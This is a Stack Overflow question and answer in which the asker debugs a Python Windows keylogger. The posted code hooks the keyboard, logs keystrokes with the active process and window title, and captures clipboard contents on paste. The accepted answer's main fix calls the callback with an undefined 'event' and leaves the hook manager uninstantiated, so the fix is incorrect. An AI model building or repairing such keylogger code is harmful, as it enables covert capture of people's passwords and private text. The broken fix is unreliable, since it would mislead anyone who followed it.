'missing two required positional arguments for a function in python
been looking around and couldn't seem to find the answer i was looking, sorry if this is a poorly phrased question
the code is
import ctypes
import ctypes.wintypes
from io import StringIO
from multiprocessing import Value
import os
import pythoncom
import pyWinhook as pyhook
import sys
import time
import win32clipboard
TIMEOUT = 60*10
class keyloggerz:
def __init__(self):
self.current_window = None
def get_current_process(self):
hwnd = ctypes.windll.user32.GetForegroundWindow()
pid = ctypes.c_ulong(0)
ctypes.windll.user32.GetWindowThreadProcessId(hwnd, ctypes.byref(pid))
process_id = f'{pid.value}'
executable = ctypes.create_string_buffer(512)
h_process = ctypes.windll.kernel32.OpenProcess(0x400|0x10, False, pid)
ctypes.windll.psapi.GetModuleBaseNameA(h_process, None, ctypes.byref(executable), 512)
window_title = ctypes.create_string_buffer(512)
ctypes.windll.user32.GetWindowTextA(hwnd, ctypes.byref(window_title), 512)
try:
self.current_window = window_title.decode()
except UnicodeDecodeError as e:
print(f'{e}: window name unkown')
print('\n', process_id, executable.value.decode(), self.current_window)
ctypes.windll.kernel32.CloseHandle(hwnd)
ctypes.windll.kernel32.CloseHandle(h_process)
def mykeystroke(self, event):
if event.WindowName != self.current_window:
self.get_current_process()
if 32 < event.Ascii < 127:
print(chr(event.Ascii), end='')
else:
if event.key == 'V':
win32clipboard.OpenClipboard()
value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print(f'[PASTE] - {value}')
else:
print(f'{event.key}')
return True
def run():
save_stdout = sys.stdout
sys.stdout = StringIO()
kl = keyloggerz
hm = pyhook.HookManager
hm.KeyDown = kl.mykeystroke()
hm.HookKeyboard()
while time.thread_time() < TIMEOUT:
pythoncom.PumpWaitingMessages()
log = sys.stdout.getvalue()
sys.stdout = save_stdout
return log
if __name__ == '__main__':
print(run())
print('done.')
on running it comes up with the error: TypeError: keyloggerz.mykeystroke() missing 2 required positional arguments: 'self' and 'event'
any sort of help would be appreciated
Solution 1:[1]
Your problem starts with the instantiation of keyloggerz:
kl = keyloggerz
It should be:
kl = keyloggerz()
The main problem is two lines below, in:
hm.KeyDown = kl.mykeystroke()
If you look at the definition for keyloggerz.mykeystroke(), you see that it takes 2 parameters:
def mykeystroke(self, event):
...
So, when you call the function, you need to pass in the event parameter:
hm.KeyDown = kl.mykeystroke(event)
When you call a method, the first parameter is automatically passed the class instance object, usually called self. Therefore, when you call it via kl.mykeystroke(event), it is in reality calling keyloggerz.mykeystroke(kl, event). Because you didn't instantiate the class at the beginning, your function call was basically keyloggerz.mykeystroke(), which was missing both the self and event parameters.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 | 2pichar |
